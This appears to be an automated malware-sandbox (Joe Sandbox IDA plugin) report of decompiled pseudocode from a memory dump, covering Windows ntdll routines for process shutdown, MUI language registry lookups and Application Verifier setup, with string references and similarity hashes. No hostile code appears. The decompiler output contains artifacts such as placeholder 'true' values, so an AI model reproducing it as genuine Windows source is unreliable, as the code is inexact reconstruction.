				if(( *(_t103 + 8) & 0x00000001) == 0) {
					 *((intOrPtr*)(_t141 - 0x2c)) = _t70 + _t103;
				}
				if(( *0x34d737c0 & 0x00000005) != 0) {
					_push(_t141 - 0x30);
					E34CFE692("minkernel\\ntdll\\ldrinit.c", 0x17f5, "LdrShutdownProcess", 2, "Process 0x%p (%wZ) exiting\n",  *((intOrPtr*)(_t127 + 0x20)));
					_t143 = _t143 + 0x1c;
				}
				_t74 =  *((intOrPtr*)(_t127 + 0x24));
				 *0x34d75dac =  *((intOrPtr*)(_t127 + 0x24));
				 *0x34d75da8 = 1;
				if( *0x34d765f0 != 0) {
					_t137 =  *0x34d791f8; // 0x0
					asm("ror esi, cl");
					_t138 = _t137 ^  *0x7ffe0330;
					_t103 = _t138;
					 *0x34d791e0("true");
					_t74 =  *_t138();
				}
				_t118 =  *((intOrPtr*)(_t127 + 0xfb4));
				if( *((intOrPtr*)(_t127 + 0xfb4)) != 0) {
					_push(1);
					E34C84779(_t74, _t118);
				}
				if(( *0x34d7391c & 0x00000002) == 0) {
					_t78 =  *(_t97 + 0x10);
					__eflags =  *(_t78 + 8) & 0x40000000;
					_t106 = _t103 & 0xffffff00 | ( *(_t78 + 8) & 0x40000000) == 0x00000000;
					__eflags =  *0x34d79234 & 0x00000001;
					_t79 = _t78 & 0xffffff00 | ( *0x34d79234 & 0x00000001) == 0x00000000;
					__eflags = _t79 & _t106;
					if((_t79 & _t106) == 0) {
						goto L7;
					}
					 *((char*)(_t141 - 0x19)) = 1;
					_t99 = 0;
					L15:
					_t85 =  *[fs:0x30];
					__eflags =  *0x34d768c8;
					if( *0x34d768c8 != 0) {
						__eflags =  *((intOrPtr*)(_t85 + 0x18)) - _t99;
						if( *((intOrPtr*)(_t85 + 0x18)) != _t99) {
							E34D00FC8();
							 *0x34d768c8 = _t99;
						}
					}
					__eflags =  *((char*)(_t141 - 0x19));
					if( *((char*)(_t141 - 0x19)) == 0) {
						E34CAD8F0();
					}
					_t68 = E34CAD898();
					goto L19;
				}
				L7:
				_t99 = 0;
				 *((char*)(_t141 - 0x19)) = 0;
				_t129 =  *0x34d75da0; // 0x49a82e0
				L8:
				if(_t129 != 0x34d75d9c) {
					_t18 = _t129 - 0x10; // 0x49a82d0
					_t122 = _t18;
					 *((intOrPtr*)(_t141 - 0x24)) = _t122;
					_t20 = _t129 + 4; // 0x49a7520
					_t129 =  *_t20;
					 *((intOrPtr*)(_t141 - 0x20)) = _t129;
					_t22 = _t122 + 0x1c; // 0x77b45cd0
					_t88 =  *_t22;
					 *((intOrPtr*)(_t141 - 0x28)) = _t88;
					if(_t88 != 0 && ( *(_t122 + 0x34) & 0x00080000) != 0) {
						 *((intOrPtr*)(_t141 - 0x54)) = 0x24;
						 *((intOrPtr*)(_t141 - 0x50)) = 1;
						_t112 = 7;
						memset(_t141 - 0x4c, 0, _t112 << 2);
						_t143 = _t143 + 0xc;
						_t31 = _t122 + 0x48; // 0x0
						E34C9DC40(_t141 - 0x54,  *_t31);
						 *((intOrPtr*)(_t141 - 4)) = _t99;
						_t134 =  *((intOrPtr*)(_t141 - 0x24));
						_t157 =  *((intOrPtr*)(_t134 + 0x3a)) - _t99;
						if( *((intOrPtr*)(_t134 + 0x3a)) != _t99) {
							E34C9F0A3(_t99, 0, _t134, _t134, 1, __eflags);
						}
						_push(1);
						_push(_t99);
						E34C9DCD1(_t99,  *((intOrPtr*)(_t141 - 0x28)),  *((intOrPtr*)(_t134 + 0x18)), _t134, 1, _t157);
						 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
						_t129 =  *((intOrPtr*)(_t141 - 0x20));
						E34CAD886();
					}
					goto L8;
				}
				_t119 =  *0x34d75b24; // 0x4982ce0
				__eflags =  *((intOrPtr*)(_t119 + 0x3a)) - _t99;
				if( *((intOrPtr*)(_t119 + 0x3a)) != _t99) {
					 *((intOrPtr*)(_t141 - 0x78)) = 0x24;
					 *((intOrPtr*)(_t141 - 0x74)) = 1;
					_t108 = 7;
					memset(_t141 - 0x70, 0, _t108 << 2);
					_t47 = _t119 + 0x48; // 0x0
					E34C9DC40(_t141 - 0x78,  *_t47);
					 *((intOrPtr*)(_t141 - 4)) = 1;
					_t121 =  *0x34d75b24; // 0x4982ce0
					E34C9F0A3(_t99, 0, _t121, _t141 - 0x70 + _t108, 1, __eflags);
					 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
					E34CAD88F();
				}
				goto L15;
			}

0x34cad6d0
0x34cad6d2
0x34cad6d7
0x34cad6dc
0x34cad6e3
0x34cad6ed
0x34cad810
0x34cad813
0x34cad81f
0x34cad81f
0x34cad6f3
0x34cad6f9
0x34cad6fc
0x34cad6ff
0x34cad702
0x34cad709
0x34cef0c2
0x34cef0c2
0x34cad716
0x34cef0cd
0x34cef0e7
0x34cef0ec
0x34cef0ec
0x34cad71c
0x34cad71f
0x34cad724
0x34cad732
0x34cad86d
0x34cad873
0x34cad875
0x34cad877
0x34cad879
0x34cad87f
0x34cad87f
0x34cad738
0x34cad740
0x34cad742
0x34cad744
0x34cad744
0x34cad750
0x34cef0f4
0x34cef0f7
0x34cef0fe
0x34cef101
0x34cef108
0x34cef10b
0x34cef10d
0x00000000
0x00000000
0x34cef113
0x34cef117
0x34cad7ed
0x34cad7ed
0x34cad7f3
0x34cad7fa
0x34cef13c
0x34cef13f
0x34cef145
0x34cef14a
0x34cef14a
0x34cef13f
0x34cad800
0x34cad804
0x34cad806
0x34cad806
0x34cad80b
0x00000000
0x34cad80b
0x34cad756
0x34cad756
0x34cad75a
0x34cad75d
0x34cad766
0x34cad76c
0x34cad76e
0x34cad76e
0x34cad771
0x34cad774
0x34cad774
0x34cad777
0x34cad77a
0x34cad77a
0x34cad77d
0x34cad782
0x34cad78d
0x34cad794
0x34cad799
0x34cad79f
0x34cad79f
0x34cad7a1
0x34cad7a7
0x34cad7ac
0x34cad7af
0x34cad7b2
0x34cad7b6
0x34cad7da
0x34cad7da
0x34cad7b8
0x34cad7b9
0x34cad7c0
0x34cad7c5
0x34cad7cc
0x34cad7cf
0x34cad7cf
0x00000000
0x34cad782
0x34cad7e1
0x34cad7e7
0x34cad7eb
0x34cad820
0x34cad827
0x34cad82c
0x34cad832
0x34cad834
0x34cad83a
0x34cad83f
0x34cad842
0x34cad84a
0x34cad84f
0x34cad856
0x34cad856
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34CAD879

Part of subcall function 34C84779: RtlDebugPrintTimes.NTDLL ref: 34C84817

Strings

$, xrefs: 34CAD820
LdrShutdownProcess, xrefs: 34CEF0D8
$, xrefs: 34CAD78D
minkernel\ntdll\ldrinit.c, xrefs: 34CEF0E2
Process 0x%p (%wZ) exiting, xrefs: 34CEF0D1

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 869b24530cb769d022af9154fd7ed329112079588609c9de17c5eca7bddfb031
Instruction ID: cfd0f52bbe2a458f9f6c1e27063b918a3e6cf1c7b707e4194f078834afdba788
Opcode Fuzzy Hash: 869b24530cb769d022af9154fd7ed329112079588609c9de17c5eca7bddfb031
Instruction Fuzzy Hash: E651CC75A04346EFEB08CFA4C5A479DBBF3FF44314F248059D801AB681DB75A986CB81

Uniqueness

Uniqueness Score: -1.00%

Function 34C7D02D Relevance: 10.2, Strings: 8, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E34C7D02D(void* __ecx, intOrPtr* __edx, intOrPtr _a4) {
				char* _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				char* _v100;
				intOrPtr _v104;
				char _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char* _v124;
				signed int _v128;
				char _v132;
				char _v140;
				signed int _v144;
				char _v145;
				char _v148;
				signed int _v152;
				void* _v156;
				void* _v157;
				signed int _v160;
				void* _v161;
				signed int _v164;
				signed int _v168;
				void* _v172;
				void* _v180;
				void* _v188;
				intOrPtr _t111;
				void* _t128;
				void* _t160;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr* _t179;
				void* _t182;
				char _t184;
				signed int _t185;
				void* _t187;
				void* _t196;

				_t187 = (_t185 & 0xfffffff8) - 0x9c;
				_t160 = __ecx;
				_t179 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t182 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *__edx;
					E34CC5050(__ecx,  &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_push("true");
					_pop(_t184);
					_v132 = _t184;
					_v124 =  &_v148;
					_v128 = 0;
					_push( &_v132);
					_push(0x20019);
					_v120 = 0x40;
					_push( &_v168);
					_v116 = 0;
					_v112 = 0;
					if(E34CC2AB0() >= 0) {
						_t182 = E34D3ADD6(_v160, _a4,  &_v145,  &_v132);
						if(_t182 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E34CC2A80();
							}
							if(_v144 != 0) {
								_push(_v144);
								E34CC2A80();
							}
							if(_v152 != 0) {
								_push(_v152);
								E34CC2A80();
							}
							if(_t182 < 0) {
								if(_t179 == 0) {
									goto L19;
								}
								_t162 = _v128;
								if( *_t179 == _t162) {
									goto L19;
								}
								if( *_t179 != 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t179);
								}
								goto L44;
							} else {
								if( *_t179 != 0) {
									L19:
									return _t182;
								}
								_t111 = E34C7DAA8(1);
								 *_t179 = _t111;
								if(_t111 == 0) {
									_t162 = _v128;
									_t182 = 0xc0000017;
									L44:
									 *_t179 = _t162;
								}
								goto L19;
							}
						}
						if(_t160 == 8) {
							 *((char*)(_t187 + 0x13)) = 0;
							if(E34D3AD61(_v160, _t187 + 0x13) == 0 &&  *((char*)(_t187 + 0x13)) == 1) {
								_push("true");
								_pop(_t160);
							}
						}
						_push(_v160);
						E34CC2A80();
						_v164 = _v164 & 0x00000000;
						_push("true");
						_pop(_t184);
					}
					_t170 = 0x2000000;
					if(E34C7D736(0x2000000,  &_v152) < 0) {
						_v152 = _v152 & 0x00000000;
					}
					if(_t160 != 8) {
						if(_t160 != 4) {
							goto L25;
						}
						if(_v152 == 0) {
							_t128 = 0xc0000034;
						} else {
							E34CC5050(_t170,  &_v140, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v44 = _v44 & 0x00000000;
							_v40 = _v40 & 0x00000000;
							_v56 = _v160;
							_v52 =  &_v148;
							_push( &_v60);
							_push(0x20019);
							_v60 = _t184;
							_push( &_v168);
							_v48 = 0x40;
							_t128 = E34CC2AB0();
						}
						if(_t128 < 0) {
							E34CC5050(_t170,  &_v140, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v32 = _v32 & 0x00000000;
							 *(_t187 + 0xa0) =  *(_t187 + 0xa0) & 0x00000000;
							 *(_t187 + 0xa4) =  *(_t187 + 0xa4) & 0x00000000;
							_v28 =  &_v148;
							_push( &_v36);
							_push(0x20019);
							_v36 = _t184;
							_push( &_v168);
							 *((intOrPtr*)(_t187 + 0xa8)) = 0x40;
							_t182 = E34CC2AB0();
							if(_t182 < 0) {
								goto L9;
							}
						}
						goto L25;
					} else {
						if(_v152 == 0) {
							L10:
							_t182 = 0;
							goto L11;
						}
						E34CC5050(_t170,  &_v140, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v92 = _v92 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_v104 = _v160;
						_push("true");
						_pop(_t164);
						_v100 =  &_v148;
						_push( &_v108);
						_push(0x20019);
						_v108 = _t184;
						_push( &_v152);
						_v96 = _t164;
						if(E34CC2AB0() >= 0) {
							_t170 = _v144;
							_t182 = E34D3ADD6(_v144, _a4,  &_v145,  &_v132);
							if(_t182 >= 0) {
								goto L11;
							}
							_push("true");
							_pop(_t184);
						}
						E34CC5050(_t170,  &_v140, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v168 = _v168 & 0x00000000;
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						 *((intOrPtr*)(_t187 + 0x64)) = _v160;
						 *((intOrPtr*)(_t187 + 0x68)) =  &_v148;
						_push( &_v84);
						_push(0x20019);
						_v84 = _t184;
						_push( &_v168);
						_v72 = _t164;
						_t182 = E34CC2AB0();
						if(_t182 >= 0) {
							L25:
							_t182 = E34C7D9A2(_v160, _t179, _a4);
							goto L11;
						} else {
							_t196 = _t182 - 0xc0000034;
							L9:
							if(_t196 != 0) {
								goto L11;
							}
							goto L10;
						}
					}
				}
			}

0x34c7d035
0x34c7d03f
0x34c7d042
0x34c7d044
0x34c7d048
0x34c7d04c
0x34c7d050
0x34c7d056
0x34cda5a1
0x00000000
0x34c7d065
0x34c7d067
0x34c7d075
0x34c7d07a
0x34c7d07c
0x34c7d081
0x34c7d085
0x34c7d08f
0x34c7d093
0x34c7d094
0x34c7d09d
0x34c7d0a5
0x34c7d0a6
0x34c7d0aa
0x34c7d0b5
0x34cda52a
0x34cda52e
0x34c7d194
0x34c7d199
0x34c7d19b
0x34c7d19f
0x34c7d19f
0x34c7d1a9
0x34cda5ab
0x34cda5af
0x34cda5af
0x34c7d1b4
0x34c7d1b6
0x34c7d1ba
0x34c7d1ba
0x34c7d1c1
0x34cda5bb
0x00000000
0x00000000
0x34cda5c1
0x34cda5c7
0x00000000
0x00000000
0x34cda5d0
0x34cda5df
0x34cda5df
0x00000000
0x34c7d1c7
0x34c7d1ca
0x34c7d1de
0x34c7d1e6
0x34c7d1e6
0x34c7d1cf
0x34c7d1d4
0x34c7d1d8
0x34cda5e6
0x34cda5ea
0x34cda5ef
0x34cda5ef
0x34cda5ef
0x00000000
0x34c7d1d8
0x34c7d1c1
0x34cda537
0x34cda541
0x34cda54d
0x34cda556
0x34cda558
0x34cda558
0x34cda54d
0x34cda559
0x34cda55d
0x34cda562
0x34cda567
0x34cda569
0x34cda569
0x34c7d0bf
0x34c7d0cc
0x34cda56f
0x34cda56f
0x34c7d0d5
0x34c7d1ec
0x00000000
0x00000000
0x34c7d1fc
0x34c7d2de
0x34c7d202
0x34c7d20c
0x34c7d215
0x34c7d21a
0x34c7d222
0x34c7d22a
0x34c7d232
0x34c7d23d
0x34c7d23e
0x34c7d247
0x34c7d24e
0x34c7d24f
0x34c7d25a
0x34c7d25a
0x34c7d261
0x34c7d26d
0x34c7d272
0x34c7d27b
0x34c7d283
0x34c7d28b
0x34c7d293
0x34c7d2a1
0x34c7d2a2
0x34c7d2ab
0x34c7d2b2
0x34c7d2b3
0x34c7d2c3
0x34c7d2c7
0x00000000
0x34c7d2e5
0x34c7d2c7
0x00000000
0x34c7d0db
0x34c7d0e0
0x34c7d192
0x34c7d192
0x00000000
0x34c7d192
0x34c7d0f0
0x34c7d0f9
0x34c7d0fe
0x34c7d103
0x34c7d10b
0x34c7d10d
0x34c7d10e
0x34c7d116
0x34c7d117
0x34c7d120
0x34c7d124
0x34c7d125
0x34c7d130
0x34cda580
0x34cda58f
0x34cda593
0x00000000
0x00000000
0x34cda599
0x34cda59b
0x34cda59b
0x34c7d140
0x34c7d149
0x34c7d14e
0x34c7d153
0x34c7d158
0x34c7d160
0x34c7d168
0x34c7d169
0x34c7d172
0x34c7d176
0x34c7d177
0x34c7d180
0x34c7d184
0x34c7d2c9
0x34c7d2d7
0x00000000
0x34c7d18a
0x34c7d18a
0x34c7d190
0x34c7d190
0x00000000
0x00000000
0x00000000
0x34c7d190
0x34c7d184
0x34c7d0d5

Strings

@, xrefs: 34C7D2B3
@, xrefs: 34C7D24F
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 34C7D263
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 34C7D202
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 34C7D06F
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 34C7D0E6
@, xrefs: 34C7D09D
Control Panel\Desktop\LanguageConfiguration, xrefs: 34C7D136

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 13f74bcc1c3c7b57f6845a1918a2e8bc40a3ecff4ba41a7ca133a488a62ff77e
Instruction ID: 54755d3a6a6755992db385f254d7ac335a8a005276b088afe4d90337df72a6a3
Opcode Fuzzy Hash: 13f74bcc1c3c7b57f6845a1918a2e8bc40a3ecff4ba41a7ca133a488a62ff77e
Instruction Fuzzy Hash: 98A16BB5908745DFE320CF25C450B9BBBEAAF84765F00492EF68896250EB74D948CF92

Uniqueness

Uniqueness Score: -1.00%

Function 34D08633 Relevance: 9.0, Strings: 7, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E34D08633(char __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v29;
				signed int _v30;
				char _v31;
				intOrPtr _v32;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t50;
				signed int _t51;
				signed int _t52;
				intOrPtr _t69;
				signed int _t76;
				signed int _t88;
				intOrPtr _t92;
				signed int _t97;
				signed int _t103;
				signed int _t121;
				intOrPtr* _t124;
				intOrPtr _t126;
				signed int _t127;
				signed int _t128;
				intOrPtr* _t130;

				_t115 = __edx;
				_t103 = __ecx;
				_t97 = 0;
				_v8 = __edx;
				_v31 = __ecx;
				_t126 =  *[fs:0x30];
				_v12 = _t126;
				_v24 = 0;
				_v28 = 0;
				_t50 = _a8;
				if(_t50 == 0) {
					_t121 = _a16;
					__eflags = _t121;
					if(_t121 != 0) {
						 *_t121 = 0;
						__eflags =  *(_t126 + 0x68) & 0x02000100;
						if(( *(_t126 + 0x68) & 0x02000100) == 0) {
							_t51 = E34D036EC();
							_t103 = _v31;
							__eflags = _t51;
							if(_t51 != 0) {
								_v28 = 2;
							}
						} else {
							_v28 = 1;
						}
						__eflags =  *(_t126 + 0x68) & 0x00000100;
						if(( *(_t126 + 0x68) & 0x00000100) != 0) {
							L35:
							_t52 = 0x48004;
							goto L36;
						} else {
							__eflags = _t103;
							if(_t103 != 0) {
								goto L35;
							}
							_t52 = 0;
							L36:
							_t127 = _a4;
							 *0x34d75a74 = _t52;
							 *0x34d75000 = 0;
							__eflags = _t127;
							if(_t127 == 0) {
								L40:
								__eflags = _v31;
								if(_v31 != 0) {
									 *0x34d75238 = 1;
								}
								L42:
								__eflags = _t127;
								if(__eflags != 0) {
									__eflags = _t52 & 0x00000004;
									if((_t52 & 0x00000004) != 0) {
										E34C76CC0(_t127, L"HandleTraces", "true", 0x34d769d8, "true", 0);
									}
									E34C76CC0(_t127, L"VerifierDebug", "true", 0x34d769dc, "true", 0);
									E34C76CC0(_t127, L"VerifierDlls", 1, 0x34d75000, 0x200, 0);
								}
								_t116 = _v8;
								_t128 = L34D098B2(0x34c51b98, _v8, __eflags, _t127, _a12, 0x34d75260);
								__eflags = _t128;
								if(_t128 >= 0) {
									 *_t121 = 0x34d75260;
									_t128 = E34D08FBB();
									__eflags = _t128;
									if(_t128 >= 0) {
										E34CB1D66(0x34c51b98, _t116, 0);
										 *0x34d79234 = _v32;
										E34CB1D66(0x34c51b98, _t116, 1);
									}
								}
								L49:
								return _t128;
							}
							E34C76CC0(_t127, L"VerifierFlags", "true",  &_v24, "true", 0);
							_t52 = _v48;
							__eflags = _t52;
							if(_t52 == 0) {
								_t52 =  *0x34d75a74; // 0x0
								goto L40;
							}
							 *0x34d75a74 = _t52;
							goto L42;
						}
					}
					_t128 = 0xc000000d;
					goto L49;
				}
				if(_t50 != 1) {
					L25:
					_t128 = _t97;
					goto L49;
				}
				 *0x34d75244 = 0x34d75240;
				 *0x34d75240 = 0x34d75240;
				_t128 = L34CAFBC0(0x34d75220, 0, 0);
				if(_t128 < 0) {
					goto L49;
				}
				if( *0x34d79234 == 2) {
					_v29 = 0;
					_t128 = E34CA1934(0x34d75308, 0,  &_v29);
					__eflags = _t128;
					if(_t128 < 0) {
						goto L49;
					}
					goto L25;
				}
				_push( *0x34d75a74);
				_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
				_t69 =  *0x34d75d8c; // 0x4982ce0
				_t8 = _t69 + 0x30; // 0x4981d08
				E34D0EF10(0x5d, 0, "AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled\n",  *_t8);
				if(E34D09429(_t115) >= 0) {
					_t130 =  *0x34d75240; // 0x0
					while(1) {
						__eflags = _t130 - 0x34d75240;
						if(__eflags == 0) {
							break;
						}
						_t71 = E34D0919C(_t97, _t130, 0x34d75240, _t130, __eflags);
						__eflags = _t71;
						if(_t71 == 0) {
							_t128 = 0xc0000142;
							goto L49;
						} else {
							_t130 =  *_t130;
							continue;
						}
					}
					L34D08B5E(_t71);
					_t108 = 0x34c51b88;
					_t128 = E34C9F380(0x34c51b88, 0, _t97,  &_v20, _t97);
					__eflags = _t128;
					if(_t128 < 0) {
						__eflags = _t128 - 0xc0000135;
						if(_t128 != 0xc0000135) {
							goto L49;
						}
						_t131 =  *0x34d75278; // 0x0
						L15:
						_t76 = E34C9CF00(_t108, 0, _t131, 0x34c51b90, 0,  &_v16, 1, _v0);
						E34CB1D66(_t108, 0, 0);
						__eflags = _t76;
						if(_t76 >= 0) {
							_t88 =  *0x7ffe0330;
							_t108 = _t88 & 0x0000001f;
							__eflags = _t88 & 0x0000001f;
							asm("ror eax, cl");
							 *0x34d79238 = _t88 ^ _v16;
							 *0x34d79230 = 1;
						}
						 *0x34d79231 = 1;
						 *0x34d79232 = 1;
						E34D0964A(E34CB1D66(_t108, 0, 1));
						_t124 =  *0x34d75240; // 0x0
						_t97 = 0;
						__eflags = 0;
						while(1) {
							__eflags = _t124 - 0x34d75240;
							if(_t124 == 0x34d75240) {
								break;
							}
							_v30 = _t97;
							_t128 = E34CA1934( *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x10)) + 0x50)), 0,  &_v30);
							__eflags = _t128;
							if(_t128 < 0) {
								goto L49;
							}
							_t124 =  *_t124;
						}
						__eflags =  *0x34d769dc & 0x00000008;
						if(( *0x34d769dc & 0x00000008) != 0) {
							_push("AVRF: -*- final list of providers -*- \n");
							E34D08EB8(E34C7B910());
						}
						E34D09818();
						E34C8E580(3,  *((intOrPtr*)(_v12 + 8)), _t97, _t97,  &_v28);
						goto L25;
					}
					_t108 = _v20;
					_t131 =  *((intOrPtr*)(_v20 + 0x18));
					E34C9D3E1(_t97, _v20,  *((intOrPtr*)(_v20 + 0x18)));
					goto L15;
				} else {
					_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
					_t92 =  *0x34d75d8c; // 0x4982ce0
					_t10 = _t92 + 0x30; // 0x4981d08
					E34D0EF10(0x5d, 0, "AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.\n",  *_t10);
					_t128 = 0xc0000001;
					 *( *[fs:0x30] + 0x68) =  *( *[fs:0x30] + 0x68) & 0xfffffeff;
					goto L49;
				}
			}

0x34d08633
0x34d08633
0x34d08642
0x34d08644
0x34d08648
0x34d0864d
0x34d08654
0x34d08658
0x34d0865c
0x34d08661
0x34d08663
0x34d08861
0x34d08864
0x34d08866
0x34d08872
0x34d08877
0x34d0887e
0x34d08886
0x34d0888b
0x34d0888f
0x34d08891
0x34d08893
0x34d08893
0x34d08880
0x34d08880
0x34d08880
0x34d0889b
0x34d088a2
0x34d088ac
0x34d088ac
0x00000000
0x34d088a4
0x34d088a4
0x34d088a6
0x00000000
0x00000000
0x34d088a8
0x34d088b1
0x34d088b1
0x34d088b6
0x34d088bb
0x34d088c2
0x34d088c4
0x34d088ef
0x34d088ef
0x34d088f4
0x34d088f6
0x34d088f6
0x34d088fc
0x34d088fc
0x34d088fe
0x34d08900
0x34d08902
0x34d08915
0x34d08915
0x34d0892b
0x34d08943
0x34d08943
0x34d08948
0x34d0895f
0x34d08961
0x34d08963
0x34d08965
0x34d08970
0x34d08972
0x34d08974
0x34d08978
0x34d08982
0x34d08987
0x34d08987
0x34d08974
0x34d0898c
0x34d08994
0x34d08994
0x34d088d6
0x34d088db
0x34d088df
0x34d088e1
0x34d088ea
0x00000000
0x34d088ea
0x34d088e3
0x00000000
0x34d088e3
0x34d088a2
0x34d08868
0x00000000
0x34d08868
0x34d0866c
0x34d0885a
0x34d0885a
0x00000000
0x34d0885a
0x34d0867e
0x34d08684
0x34d0868f
0x34d08693
0x00000000
0x00000000
0x34d086a0
0x34d0883f
0x34d08850
0x34d08852
0x34d08854
0x00000000
0x00000000
0x00000000
0x34d08854
0x34d086a6
0x34d086b2
0x34d086b5
0x34d086ba
0x34d086c5
0x34d086d4
0x34d08719
0x34d0872e
0x34d0872e
0x34d08730
0x00000000
0x00000000
0x34d08723
0x34d08728
0x34d0872a
0x34d0875e
0x00000000
0x34d0872c
0x34d0872c
0x00000000
0x34d0872c
0x34d0872a
0x34d08732
0x34d08740
0x34d0874a
0x34d0874c
0x34d0874e
0x34d08768
0x34d0876e
0x00000000
0x00000000
0x34d08774
0x34d0877a
0x34d0878e
0x34d08797
0x34d0879c
0x34d0879e
0x34d087a0
0x34d087ab
0x34d087ab
0x34d087ae
0x34d087b0
0x34d087b5
0x34d087b5
0x34d087bc
0x34d087c2
0x34d087cd
0x34d087d2
0x34d087d8
0x34d087d8
0x34d087da
0x34d087da
0x34d087e0
0x00000000
0x00000000
0x34d087ec
0x34d087f8
0x34d087fa
0x34d087fc
0x00000000
0x00000000
0x34d08802
0x34d08802
0x34d08806
0x34d0880d
0x34d0880f
0x34d0881a
0x34d0881a
0x34d0881f
0x34d08834
0x00000000
0x34d08834
0x34d08750
0x34d08754
0x34d08757
0x00000000
0x34d086d6
0x34d086dc
0x34d086df
0x34d086e4
0x34d086ef
0x34d086fd
0x34d08711
0x00000000
0x34d08711

Strings

AVRF: -*- final list of providers -*- , xrefs: 34D0880F
VerifierDebug, xrefs: 34D08925
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 34D086E7
VerifierFlags, xrefs: 34D088D0
HandleTraces, xrefs: 34D0890F
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 34D086BD
VerifierDlls, xrefs: 34D0893D

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: cbde664be4f52267ea4692944278b0891a508ff00c22c370073b005336823bb9
Instruction ID: fd0f11c14dd2ca59d152a9ed8b0e5f24578ed3c0387f3215b8944c974b031f78
Opcode Fuzzy Hash: cbde664be4f52267ea4692944278b0891a508ff00c22c370073b005336823bb9
Instruction Fuzzy Hash: 56912772A00711EFF321DF2488A0B5A7BA9FF41754F458559F9816B650CB30DC05CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 34C7F113 Relevance: 8.2, Strings: 6, Instructions: 684
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E34C7F113(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				void* _v56;
				intOrPtr _v60;
				void* _v68;
				void* _v72;
				void* __ebx;
